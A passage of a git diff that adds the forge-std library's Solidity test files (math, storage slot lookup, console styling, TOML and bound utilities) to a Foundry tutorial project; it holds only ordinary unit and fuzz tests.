+        stdMathMock.exposed_percentDelta(int256(1), 0);
+    }
+
+    function testFuzz_GetPercentDelta_Int(int192 a, int192 b) external pure {
+        vm.assume(b != 0);
+        uint256 absA = getAbs(a);
+        uint256 absB = getAbs(b);
+        uint256 absDelta = absA > absB ? absA - absB : absB - absA;
+
+        uint256 manualDelta;
+        if ((a >= 0 && b >= 0) || (a < 0 && b < 0)) {
+            manualDelta = absDelta;
+        }
+        // (a < 0 && b >= 0) || (a >= 0 && b < 0)
+        else {
+            manualDelta = absA + absB;
+        }
+
+        uint256 manualPercentDelta = (manualDelta * 1e18) / absB;
+        uint256 percentDelta = stdMath.percentDelta(a, b);
+
+        assertEq(percentDelta, manualPercentDelta);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                   HELPERS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function getAbs(int256 a) private pure returns (uint256) {
+        if (a < 0) {
+            return a == type(int256).min ? uint256(type(int256).max) + 1 : uint256(-a);
+        }
+
+        return uint256(a);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdStorage.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdStorage.t.sol
new file mode 100644
index 000000000..17ff14585
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdStorage.t.sol
@@ -0,0 +1,464 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/StdStorage.sol';
+import '../src/Test.sol';
+
+contract StdStorageTest is Test {
+    using stdStorage for StdStorage;
+
+    StorageTest internal test;
+
+    function setUp() public {
+        test = new StorageTest();
+    }
+
+    function test_StorageHidden() public {
+        assertEq(uint256(keccak256('my.random.var')), stdstore.target(address(test)).sig('hidden()').find());
+    }
+
+    function test_StorageObvious() public {
+        assertEq(uint256(0), stdstore.target(address(test)).sig('exists()').find());
+    }
+
+    function test_StorageExtraSload() public {
+        assertEq(16, stdstore.target(address(test)).sig(test.extra_sload.selector).find());
+    }
+
+    function test_StorageCheckedWriteHidden() public {
+        stdstore.target(address(test)).sig(test.hidden.selector).checked_write(100);
+        assertEq(uint256(test.hidden()), 100);
+    }
+
+    function test_StorageCheckedWriteObvious() public {
+        stdstore.target(address(test)).sig(test.exists.selector).checked_write(100);
+        assertEq(test.exists(), 100);
+    }
+
+    function test_StorageCheckedWriteSignedIntegerHidden() public {
+        stdstore.target(address(test)).sig(test.hidden.selector).checked_write_int(-100);
+        assertEq(int256(uint256(test.hidden())), -100);
+    }
+
+    function test_StorageCheckedWriteSignedIntegerObvious() public {
+        stdstore.target(address(test)).sig(test.tG.selector).checked_write_int(-100);
+        assertEq(test.tG(), -100);
+    }
+
+    function test_StorageMapStructA() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(0).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), 4))), slot);
+    }
+
+    function test_StorageMapStructB() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(1).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), 4))) + 1, slot);
+    }
+
+    function test_StorageDeepMap() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.deep_map.selector).with_key(address(this)).with_key(address(this)).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), keccak256(abi.encode(address(this), uint256(5)))))), slot);
+    }
+
+    function test_StorageCheckedWriteDeepMap() public {
+        stdstore.target(address(test)).sig(test.deep_map.selector).with_key(address(this)).with_key(address(this)).checked_write(100);
+        assertEq(100, test.deep_map(address(this), address(this)));
+    }
+
+    function test_StorageDeepMapStructA() public {
+        uint256 slot = stdstore
+            .target(address(test))
+            .sig(test.deep_map_struct.selector)
+            .with_key(address(this))
+            .with_key(address(this))
+            .depth(0)
+            .find();
+        assertEq(bytes32(uint256(keccak256(abi.encode(address(this), keccak256(abi.encode(address(this), uint256(6)))))) + 0), bytes32(slot));
+    }
+
+    function test_StorageDeepMapStructB() public {
+        uint256 slot = stdstore
+            .target(address(test))
+            .sig(test.deep_map_struct.selector)
+            .with_key(address(this))
+            .with_key(address(this))
+            .depth(1)
+            .find();
+        assertEq(bytes32(uint256(keccak256(abi.encode(address(this), keccak256(abi.encode(address(this), uint256(6)))))) + 1), bytes32(slot));
+    }
+
+    function test_StorageCheckedWriteDeepMapStructA() public {
+        stdstore.target(address(test)).sig(test.deep_map_struct.selector).with_key(address(this)).with_key(address(this)).depth(0).checked_write(100);
+        (uint256 a, uint256 b) = test.deep_map_struct(address(this), address(this));
+        assertEq(100, a);
+        assertEq(0, b);
+    }
+
+    function test_StorageCheckedWriteDeepMapStructB() public {
+        stdstore.target(address(test)).sig(test.deep_map_struct.selector).with_key(address(this)).with_key(address(this)).depth(1).checked_write(100);
+        (uint256 a, uint256 b) = test.deep_map_struct(address(this), address(this));
+        assertEq(0, a);
+        assertEq(100, b);
+    }
+
+    function test_StorageCheckedWriteMapStructA() public {
+        stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(0).checked_write(100);
+        (uint256 a, uint256 b) = test.map_struct(address(this));
+        assertEq(a, 100);
+        assertEq(b, 0);
+    }
+
+    function test_StorageCheckedWriteMapStructB() public {
+        stdstore.target(address(test)).sig(test.map_struct.selector).with_key(address(this)).depth(1).checked_write(100);
+        (uint256 a, uint256 b) = test.map_struct(address(this));
+        assertEq(a, 0);
+        assertEq(b, 100);
+    }
+
+    function test_StorageStructA() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.basic.selector).depth(0).find();
+        assertEq(uint256(7), slot);
+    }
+
+    function test_StorageStructB() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.basic.selector).depth(1).find();
+        assertEq(uint256(7) + 1, slot);
+    }
+
+    function test_StorageCheckedWriteStructA() public {
+        stdstore.target(address(test)).sig(test.basic.selector).depth(0).checked_write(100);
+        (uint256 a, uint256 b) = test.basic();
+        assertEq(a, 100);
+        assertEq(b, 1337);
+    }
+
+    function test_StorageCheckedWriteStructB() public {
+        stdstore.target(address(test)).sig(test.basic.selector).depth(1).checked_write(100);
+        (uint256 a, uint256 b) = test.basic();
+        assertEq(a, 1337);
+        assertEq(b, 100);
+    }
+
+    function test_StorageMapAddrFound() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).find();
+        assertEq(uint256(keccak256(abi.encode(address(this), uint256(1)))), slot);
+    }
+
+    function test_StorageMapAddrRoot() public {
+        (uint256 slot, bytes32 key) = stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).parent();
+        assertEq(address(uint160(uint256(key))), address(this));
+        assertEq(uint256(1), slot);
+        slot = stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).root();
+        assertEq(uint256(1), slot);
+    }
+
+    function test_StorageMapUintFound() public {
+        uint256 slot = stdstore.target(address(test)).sig(test.map_uint.selector).with_key(100).find();
+        assertEq(uint256(keccak256(abi.encode(100, uint256(2)))), slot);
+    }
+
+    function test_StorageCheckedWriteMapUint() public {
+        stdstore.target(address(test)).sig(test.map_uint.selector).with_key(100).checked_write(100);
+        assertEq(100, test.map_uint(100));
+    }
+
+    function test_StorageCheckedWriteMapAddr() public {
+        stdstore.target(address(test)).sig(test.map_addr.selector).with_key(address(this)).checked_write(100);
+        assertEq(100, test.map_addr(address(this)));
+    }
+
+    function test_StorageCheckedWriteMapBool() public {
+        stdstore.target(address(test)).sig(test.map_bool.selector).with_key(address(this)).checked_write(true);
+        assertTrue(test.map_bool(address(this)));
+    }
+
+    function testFuzz_StorageCheckedWriteMapPacked(address addr, uint128 value) public {
+        stdstore.enable_packed_slots().target(address(test)).sig(test.read_struct_lower.selector).with_key(addr).checked_write(value);
+        assertEq(test.read_struct_lower(addr), value);
+
+        stdstore.enable_packed_slots().target(address(test)).sig(test.read_struct_upper.selector).with_key(addr).checked_write(value);
+        assertEq(test.read_struct_upper(addr), value);
+    }
+
+    function test_StorageCheckedWriteMapPackedFullSuccess() public {
+        uint256 full = test.map_packed(address(1337));
+        // keep upper 128, set lower 128 to 1337
+        full = (full & (uint256((1 << 128) - 1) << 128)) | 1337;
+        stdstore.target(address(test)).sig(test.map_packed.selector).with_key(address(uint160(1337))).checked_write(full);
+        assertEq(1337, test.read_struct_lower(address(1337)));
+    }
+
+    function testFail_StorageConst() public {
+        // vm.expectRevert(abi.encodeWithSignature("NotStorage(bytes4)", bytes4(keccak256("const()"))));
+        stdstore.target(address(test)).sig('const()').find();
+    }
+
+    function testFuzz_StorageNativePack(uint248 val1, uint248 val2, bool boolVal1, bool boolVal2) public {
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tA.selector).checked_write(val1);
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tB.selector).checked_write(boolVal1);
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tC.selector).checked_write(boolVal2);
+        stdstore.enable_packed_slots().target(address(test)).sig(test.tD.selector).checked_write(val2);
+
+        assertEq(test.tA(), val1);
+        assertEq(test.tB(), boolVal1);
+        assertEq(test.tC(), boolVal2);
+        assertEq(test.tD(), val2);
+    }
+
+    function test_StorageReadBytes32() public {
+        bytes32 val = stdstore.target(address(test)).sig(test.tE.selector).read_bytes32();
+        assertEq(val, hex'1337');
+    }
+
+    function test_StorageReadBool_False() public {
+        bool val = stdstore.target(address(test)).sig(test.tB.selector).read_bool();
+        assertEq(val, false);
+    }
+
+    function test_StorageReadBool_True() public {
+        bool val = stdstore.target(address(test)).sig(test.tH.selector).read_bool();
+        assertEq(val, true);
+    }
+
+    function test_StorageReadBool_Revert() public {
+        vm.expectRevert('stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.');
+        this.readNonBoolValue();
+    }
+
+    function readNonBoolValue() public {
+        stdstore.target(address(test)).sig(test.tE.selector).read_bool();
+    }
+
+    function test_StorageReadAddress() public {
+        address val = stdstore.target(address(test)).sig(test.tF.selector).read_address();
+        assertEq(val, address(1337));
+    }
+
+    function test_StorageReadUint() public {
+        uint256 val = stdstore.target(address(test)).sig(test.exists.selector).read_uint();
+        assertEq(val, 1);
+    }
+
+    function test_StorageReadInt() public {
+        int256 val = stdstore.target(address(test)).sig(test.tG.selector).read_int();
+        assertEq(val, type(int256).min);
+    }
+
+    function testFuzzPacked(uint256 val, uint8 elemToGet) public {
+        // This function tries an assortment of packed slots, shifts meaning number of elements
+        // that are packed. Shiftsizes are the size of each element, i.e. 8 means a data type that is 8 bits, 16 == 16 bits, etc.
+        // Combined, these determine how a slot is packed. Making it random is too hard to avoid global rejection limit
+        // and make it performant.
+
+        // change the number of shifts
+        for (uint256 i = 1; i < 5; i++) {
+            uint256 shifts = i;
+
+            elemToGet = uint8(bound(elemToGet, 0, shifts - 1));
+
+            uint256[] memory shiftSizes = new uint256[](shifts);
+            for (uint256 j; j < shifts; j++) {
+                shiftSizes[j] = 8 * (j + 1);
+            }
+
+            test.setRandomPacking(val);
+
+            uint256 leftBits;
+            uint256 rightBits;
+            for (uint256 j; j < shiftSizes.length; j++) {
+                if (j < elemToGet) {
+                    leftBits += shiftSizes[j];
+                } else if (elemToGet != j) {
+                    rightBits += shiftSizes[j];
+                }
+            }
+
+            // we may have some right bits unaccounted for
+            leftBits += 256 - (leftBits + shiftSizes[elemToGet] + rightBits);
+            // clear left bits, then clear right bits and realign
+            uint256 expectedValToRead = (val << leftBits) >> (leftBits + rightBits);
+
+            uint256 readVal = stdstore
+                .target(address(test))
+                .enable_packed_slots()
+                .sig('getRandomPacked(uint8,uint8[],uint8)')
+                .with_calldata(abi.encode(shifts, shiftSizes, elemToGet))
+                .read_uint();
+
+            assertEq(readVal, expectedValToRead);
+        }
+    }
+
+    function testFuzzPacked2(uint256 nvars, uint256 seed) public {
+        // Number of random variables to generate.
+        nvars = bound(nvars, 1, 20);
+
+        // This will decrease as we generate values in the below loop.
+        uint256 bitsRemaining = 256;
+
+        // Generate a random value and size for each variable.
+        uint256[] memory vals = new uint256[](nvars);
+        uint256[] memory sizes = new uint256[](nvars);
+        uint256[] memory offsets = new uint256[](nvars);
+
+        for (uint256 i = 0; i < nvars; i++) {
+            // Generate a random value and size.
+            offsets[i] = i == 0 ? 0 : offsets[i - 1] + sizes[i - 1];
+
+            uint256 nvarsRemaining = nvars - i;
+            uint256 maxVarSize = bitsRemaining - nvarsRemaining + 1;
+            sizes[i] = bound(uint256(keccak256(abi.encodePacked(seed, i + 256))), 1, maxVarSize);
+            bitsRemaining -= sizes[i];
+
+            uint256 maxVal;
+            uint256 varSize = sizes[i];
+            assembly {
+                // mask = (1 << varSize) - 1
+                maxVal := sub(shl(varSize, 1), 1)
+            }
+            vals[i] = bound(uint256(keccak256(abi.encodePacked(seed, i))), 0, maxVal);
+        }
+
+        // Pack all values into the slot.
+        for (uint256 i = 0; i < nvars; i++) {
+            stdstore
+                .enable_packed_slots()
+                .target(address(test))
+                .sig('getRandomPacked(uint256,uint256)')
+                .with_key(sizes[i])
+                .with_key(offsets[i])
+                .checked_write(vals[i]);
+        }
+
+        // Verify the read data matches.
+        for (uint256 i = 0; i < nvars; i++) {
+            uint256 readVal = stdstore
+                .enable_packed_slots()
+                .target(address(test))
+                .sig('getRandomPacked(uint256,uint256)')
+                .with_key(sizes[i])
+                .with_key(offsets[i])
+                .read_uint();
+
+            uint256 retVal = test.getRandomPacked(sizes[i], offsets[i]);
+
+            assertEq(readVal, vals[i]);
+            assertEq(retVal, vals[i]);
+        }
+    }
+}
+
+contract StorageTest {
+    uint256 public exists = 1;
+    mapping(address => uint256) public map_addr;
+    mapping(uint256 => uint256) public map_uint;
+    mapping(address => uint256) public map_packed;
+    mapping(address => UnpackedStruct) public map_struct;
+    mapping(address => mapping(address => uint256)) public deep_map;
+    mapping(address => mapping(address => UnpackedStruct)) public deep_map_struct;
+    UnpackedStruct public basic;
+
+    uint248 public tA;
+    bool public tB;
+
+    bool public tC = false;
+    uint248 public tD = 1;
+
+    struct UnpackedStruct {
+        uint256 a;
+        uint256 b;
+    }
+
+    mapping(address => bool) public map_bool;
+
+    bytes32 public tE = hex'1337';
+    address public tF = address(1337);
+    int256 public tG = type(int256).min;
+    bool public tH = true;
+    bytes32 private tI = ~bytes32(hex'1337');
+
+    uint256 randomPacking;
+
+    constructor() {
+        basic = UnpackedStruct({a: 1337, b: 1337});
+
+        uint256 two = (1 << 128) | 1;
+        map_packed[msg.sender] = two;
+        map_packed[address(uint160(1337))] = 1 << 128;
+    }
+
+    function read_struct_upper(address who) public view returns (uint256) {
+        return map_packed[who] >> 128;
+    }
+
+    function read_struct_lower(address who) public view returns (uint256) {
+        return map_packed[who] & ((1 << 128) - 1);
+    }
+
+    function hidden() public view returns (bytes32 t) {
+        bytes32 slot = keccak256('my.random.var');
+        /// @solidity memory-safe-assembly
+        assembly {
+            t := sload(slot)
+        }
+    }
+
+    function const() public pure returns (bytes32 t) {
+        t = bytes32(hex'1337');
+    }
+
+    function extra_sload() public view returns (bytes32 t) {
+        // trigger read on slot `tE`, and make a staticcall to make sure compiler doesn't optimize this SLOAD away
+        assembly {
+            pop(staticcall(gas(), sload(tE.slot), 0, 0, 0, 0))
+        }
+        t = tI;
+    }
+
+    function setRandomPacking(uint256 val) public {
+        randomPacking = val;
+    }
+
+    function _getMask(uint256 size) internal pure returns (uint256 mask) {
+        assembly {
+            // mask = (1 << size) - 1
+            mask := sub(shl(size, 1), 1)
+        }
+    }
+
+    function setRandomPacking(uint256 val, uint256 size, uint256 offset) public {
+        // Generate mask based on the size of the value
+        uint256 mask = _getMask(size);
+        // Zero out all bits for the word we're about to set
+        uint256 cleanedWord = randomPacking & ~(mask << offset);
+        // Place val in the correct spot of the cleaned word
+        randomPacking = cleanedWord | (val << offset);
+    }
+
+    function getRandomPacked(uint256 size, uint256 offset) public view returns (uint256) {
+        // Generate mask based on the size of the value
+        uint256 mask = _getMask(size);
+        // Shift to place the bits in the correct position, and use mask to zero out remaining bits
+        return (randomPacking >> offset) & mask;
+    }
+
+    function getRandomPacked(uint8 shifts, uint8[] memory shiftSizes, uint8 elem) public view returns (uint256) {
+        require(elem < shifts, '!elem');
+        uint256 leftBits;
+        uint256 rightBits;
+
+        for (uint256 i; i < shiftSizes.length; i++) {
+            if (i < elem) {
+                leftBits += shiftSizes[i];
+            } else if (elem != i) {
+                rightBits += shiftSizes[i];
+            }
+        }
+
+        // we may have some right bits unaccounted for
+        leftBits += 256 - (leftBits + shiftSizes[elem] + rightBits);
+
+        // clear left bits, then clear right bits and realign
+        return (randomPacking << leftBits) >> (leftBits + rightBits);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdStyle.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdStyle.t.sol
new file mode 100644
index 000000000..e2031a817
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdStyle.t.sol
@@ -0,0 +1,110 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdStyleTest is Test {
+    function test_StyleColor() public pure {
+        console2.log(StdStyle.red('StdStyle.red String Test'));
+        console2.log(StdStyle.red(uint256(10e18)));
+        console2.log(StdStyle.red(int256(-10e18)));
+        console2.log(StdStyle.red(true));
+        console2.log(StdStyle.red(address(0)));
+        console2.log(StdStyle.redBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.redBytes32('StdStyle.redBytes32'));
+        console2.log(StdStyle.green('StdStyle.green String Test'));
+        console2.log(StdStyle.green(uint256(10e18)));
+        console2.log(StdStyle.green(int256(-10e18)));
+        console2.log(StdStyle.green(true));
+        console2.log(StdStyle.green(address(0)));
+        console2.log(StdStyle.greenBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.greenBytes32('StdStyle.greenBytes32'));
+        console2.log(StdStyle.yellow('StdStyle.yellow String Test'));
+        console2.log(StdStyle.yellow(uint256(10e18)));
+        console2.log(StdStyle.yellow(int256(-10e18)));
+        console2.log(StdStyle.yellow(true));
+        console2.log(StdStyle.yellow(address(0)));
+        console2.log(StdStyle.yellowBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.yellowBytes32('StdStyle.yellowBytes32'));
+        console2.log(StdStyle.blue('StdStyle.blue String Test'));
+        console2.log(StdStyle.blue(uint256(10e18)));
+        console2.log(StdStyle.blue(int256(-10e18)));
+        console2.log(StdStyle.blue(true));
+        console2.log(StdStyle.blue(address(0)));
+        console2.log(StdStyle.blueBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.blueBytes32('StdStyle.blueBytes32'));
+        console2.log(StdStyle.magenta('StdStyle.magenta String Test'));
+        console2.log(StdStyle.magenta(uint256(10e18)));
+        console2.log(StdStyle.magenta(int256(-10e18)));
+        console2.log(StdStyle.magenta(true));
+        console2.log(StdStyle.magenta(address(0)));
+        console2.log(StdStyle.magentaBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.magentaBytes32('StdStyle.magentaBytes32'));
+        console2.log(StdStyle.cyan('StdStyle.cyan String Test'));
+        console2.log(StdStyle.cyan(uint256(10e18)));
+        console2.log(StdStyle.cyan(int256(-10e18)));
+        console2.log(StdStyle.cyan(true));
+        console2.log(StdStyle.cyan(address(0)));
+        console2.log(StdStyle.cyanBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.cyanBytes32('StdStyle.cyanBytes32'));
+    }
+
+    function test_StyleFontWeight() public pure {
+        console2.log(StdStyle.bold('StdStyle.bold String Test'));
+        console2.log(StdStyle.bold(uint256(10e18)));
+        console2.log(StdStyle.bold(int256(-10e18)));
+        console2.log(StdStyle.bold(address(0)));
+        console2.log(StdStyle.bold(true));
+        console2.log(StdStyle.boldBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.boldBytes32('StdStyle.boldBytes32'));
+        console2.log(StdStyle.dim('StdStyle.dim String Test'));
+        console2.log(StdStyle.dim(uint256(10e18)));
+        console2.log(StdStyle.dim(int256(-10e18)));
+        console2.log(StdStyle.dim(address(0)));
+        console2.log(StdStyle.dim(true));
+        console2.log(StdStyle.dimBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.dimBytes32('StdStyle.dimBytes32'));
+        console2.log(StdStyle.italic('StdStyle.italic String Test'));
+        console2.log(StdStyle.italic(uint256(10e18)));
+        console2.log(StdStyle.italic(int256(-10e18)));
+        console2.log(StdStyle.italic(address(0)));
+        console2.log(StdStyle.italic(true));
+        console2.log(StdStyle.italicBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.italicBytes32('StdStyle.italicBytes32'));
+        console2.log(StdStyle.underline('StdStyle.underline String Test'));
+        console2.log(StdStyle.underline(uint256(10e18)));
+        console2.log(StdStyle.underline(int256(-10e18)));
+        console2.log(StdStyle.underline(address(0)));
+        console2.log(StdStyle.underline(true));
+        console2.log(StdStyle.underlineBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.underlineBytes32('StdStyle.underlineBytes32'));
+        console2.log(StdStyle.inverse('StdStyle.inverse String Test'));
+        console2.log(StdStyle.inverse(uint256(10e18)));
+        console2.log(StdStyle.inverse(int256(-10e18)));
+        console2.log(StdStyle.inverse(address(0)));
+        console2.log(StdStyle.inverse(true));
+        console2.log(StdStyle.inverseBytes(hex'7109709ECfa91a80626fF3989D68f67F5b1DD12D'));
+        console2.log(StdStyle.inverseBytes32('StdStyle.inverseBytes32'));
+    }
+
+    function test_StyleCombined() public pure {
+        console2.log(StdStyle.red(StdStyle.bold('Red Bold String Test')));
+        console2.log(StdStyle.green(StdStyle.dim(uint256(10e18))));
+        console2.log(StdStyle.yellow(StdStyle.italic(int256(-10e18))));
+        console2.log(StdStyle.blue(StdStyle.underline(address(0))));
+        console2.log(StdStyle.magenta(StdStyle.inverse(true)));
+    }
+
+    function test_StyleCustom() public pure {
+        console2.log(h1('Custom Style 1'));
+        console2.log(h2('Custom Style 2'));
+    }
+
+    function h1(string memory a) private pure returns (string memory) {
+        return StdStyle.cyan(StdStyle.inverse(StdStyle.bold(a)));
+    }
+
+    function h2(string memory a) private pure returns (string memory) {
+        return StdStyle.magenta(StdStyle.bold(StdStyle.underline(a)));
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdToml.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdToml.t.sol
new file mode 100644
index 000000000..3a55bfe64
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdToml.t.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdTomlTest is Test {
+    using stdToml for string;
+
+    string root;
+    string path;
+
+    function setUp() public {
+        root = vm.projectRoot();
+        path = string.concat(root, '/test/fixtures/test.toml');
+    }
+
+    struct SimpleToml {
+        uint256 a;
+        string b;
+    }
+
+    struct NestedToml {
+        uint256 a;
+        string b;
+        SimpleToml c;
+    }
+
+    function test_readToml() public view {
+        string memory json = vm.readFile(path);
+        assertEq(json.readUint('.a'), 123);
+    }
+
+    function test_writeToml() public {
+        string memory json = 'json';
+        json.serialize('a', uint256(123));
+        string memory semiFinal = json.serialize('b', string('test'));
+        string memory finalJson = json.serialize('c', semiFinal);
+        finalJson.write(path);
+
+        string memory toml = vm.readFile(path);
+        bytes memory data = toml.parseRaw('$');
+        NestedToml memory decodedData = abi.decode(data, (NestedToml));
+
+        assertEq(decodedData.a, 123);
+        assertEq(decodedData.b, 'test');
+        assertEq(decodedData.c.a, 123);
+        assertEq(decodedData.c.b, 'test');
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdUtils.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdUtils.t.sol
new file mode 100644
index 000000000..3de9cce02
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdUtils.t.sol
@@ -0,0 +1,339 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdUtilsMock is StdUtils {
+    // We deploy a mock version so we can properly test expected reverts.
+    function exposed_getTokenBalances(address token, address[] memory addresses) external returns (uint256[] memory balances) {
+        return getTokenBalances(token, addresses);
+    }
+
+    function exposed_bound(int256 num, int256 min, int256 max) external pure returns (int256) {
+        return bound(num, min, max);
+    }
+
+    function exposed_bound(uint256 num, uint256 min, uint256 max) external pure returns (uint256) {
+        return bound(num, min, max);
+    }
+
+    function exposed_bytesToUint(bytes memory b) external pure returns (uint256) {
+        return bytesToUint(b);
+    }
+}
+
+contract StdUtilsTest is Test {
+    /*//////////////////////////////////////////////////////////////////////////
+                                     BOUND UINT
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_Bound() public pure {
+        assertEq(bound(uint256(5), 0, 4), 0);
+        assertEq(bound(uint256(0), 69, 69), 69);
+        assertEq(bound(uint256(0), 68, 69), 68);
+        assertEq(bound(uint256(10), 150, 190), 174);
+        assertEq(bound(uint256(300), 2800, 3200), 3107);
+        assertEq(bound(uint256(9999), 1337, 6666), 4669);
+    }
+
+    function test_Bound_WithinRange() public pure {
+        assertEq(bound(uint256(51), 50, 150), 51);
+        assertEq(bound(uint256(51), 50, 150), bound(bound(uint256(51), 50, 150), 50, 150));
+        assertEq(bound(uint256(149), 50, 150), 149);
+        assertEq(bound(uint256(149), 50, 150), bound(bound(uint256(149), 50, 150), 50, 150));
+    }
+
+    function test_Bound_EdgeCoverage() public pure {
+        assertEq(bound(uint256(0), 50, 150), 50);
+        assertEq(bound(uint256(1), 50, 150), 51);
+        assertEq(bound(uint256(2), 50, 150), 52);
+        assertEq(bound(uint256(3), 50, 150), 53);
+        assertEq(bound(type(uint256).max, 50, 150), 150);
+        assertEq(bound(type(uint256).max - 1, 50, 150), 149);
+        assertEq(bound(type(uint256).max - 2, 50, 150), 148);
+        assertEq(bound(type(uint256).max - 3, 50, 150), 147);
+    }
+
+    function test_Bound_DistributionIsEven(uint256 min, uint256 size) public pure {
+        size = (size % 100) + 1;
+        min = bound(min, UINT256_MAX / 2, UINT256_MAX / 2 + size);
+        uint256 max = min + size - 1;
+        uint256 result;
+
+        for (uint256 i = 1; i <= size * 4; ++i) {
+            // x > max
+            result = bound(max + i, min, max);
+            assertEq(result, min + ((i - 1) % size));
+            // x < min
+            result = bound(min - i, min, max);
+            assertEq(result, max - ((i - 1) % size));
+        }
+    }
+
+    function test_Bound(uint256 num, uint256 min, uint256 max) public pure {
+        if (min > max) (min, max) = (max, min);
+
+        uint256 result = bound(num, min, max);
+
+        assertGe(result, min);
+        assertLe(result, max);
+        assertEq(result, bound(result, min, max));
+        if (num >= min && num <= max) assertEq(result, num);
+    }
+
+    function test_BoundUint256Max() public pure {
+        assertEq(bound(0, type(uint256).max - 1, type(uint256).max), type(uint256).max - 1);
+        assertEq(bound(1, type(uint256).max - 1, type(uint256).max), type(uint256).max);
+    }
+
+    function test_CannotBoundMaxLessThanMin() public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.expectRevert(bytes('StdUtils bound(uint256,uint256,uint256): Max is less than min.'));
+        stdUtils.exposed_bound(uint256(5), 100, 10);
+    }
+
+    function test_CannotBoundMaxLessThanMin(uint256 num, uint256 min, uint256 max) public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.assume(min > max);
+        vm.expectRevert(bytes('StdUtils bound(uint256,uint256,uint256): Max is less than min.'));
+        stdUtils.exposed_bound(num, min, max);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                     BOUND INT
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_BoundInt() public pure {
+        assertEq(bound(-3, 0, 4), 2);
+        assertEq(bound(0, -69, -69), -69);
+        assertEq(bound(0, -69, -68), -68);
+        assertEq(bound(-10, 150, 190), 154);
+        assertEq(bound(-300, 2800, 3200), 2908);
+        assertEq(bound(9999, -1337, 6666), 1995);
+    }
+
+    function test_BoundInt_WithinRange() public pure {
+        assertEq(bound(51, -50, 150), 51);
+        assertEq(bound(51, -50, 150), bound(bound(51, -50, 150), -50, 150));
+        assertEq(bound(149, -50, 150), 149);
+        assertEq(bound(149, -50, 150), bound(bound(149, -50, 150), -50, 150));
+    }
+
+    function test_BoundInt_EdgeCoverage() public pure {
+        assertEq(bound(type(int256).min, -50, 150), -50);
+        assertEq(bound(type(int256).min + 1, -50, 150), -49);
+        assertEq(bound(type(int256).min + 2, -50, 150), -48);
+        assertEq(bound(type(int256).min + 3, -50, 150), -47);
+        assertEq(bound(type(int256).min, 10, 150), 10);
+        assertEq(bound(type(int256).min + 1, 10, 150), 11);
+        assertEq(bound(type(int256).min + 2, 10, 150), 12);
+        assertEq(bound(type(int256).min + 3, 10, 150), 13);
+
+        assertEq(bound(type(int256).max, -50, 150), 150);
+        assertEq(bound(type(int256).max - 1, -50, 150), 149);
+        assertEq(bound(type(int256).max - 2, -50, 150), 148);
+        assertEq(bound(type(int256).max - 3, -50, 150), 147);
+        assertEq(bound(type(int256).max, -50, -10), -10);
+        assertEq(bound(type(int256).max - 1, -50, -10), -11);
+        assertEq(bound(type(int256).max - 2, -50, -10), -12);
+        assertEq(bound(type(int256).max - 3, -50, -10), -13);
+    }
+
+    function test_BoundInt_DistributionIsEven(int256 min, uint256 size) public pure {
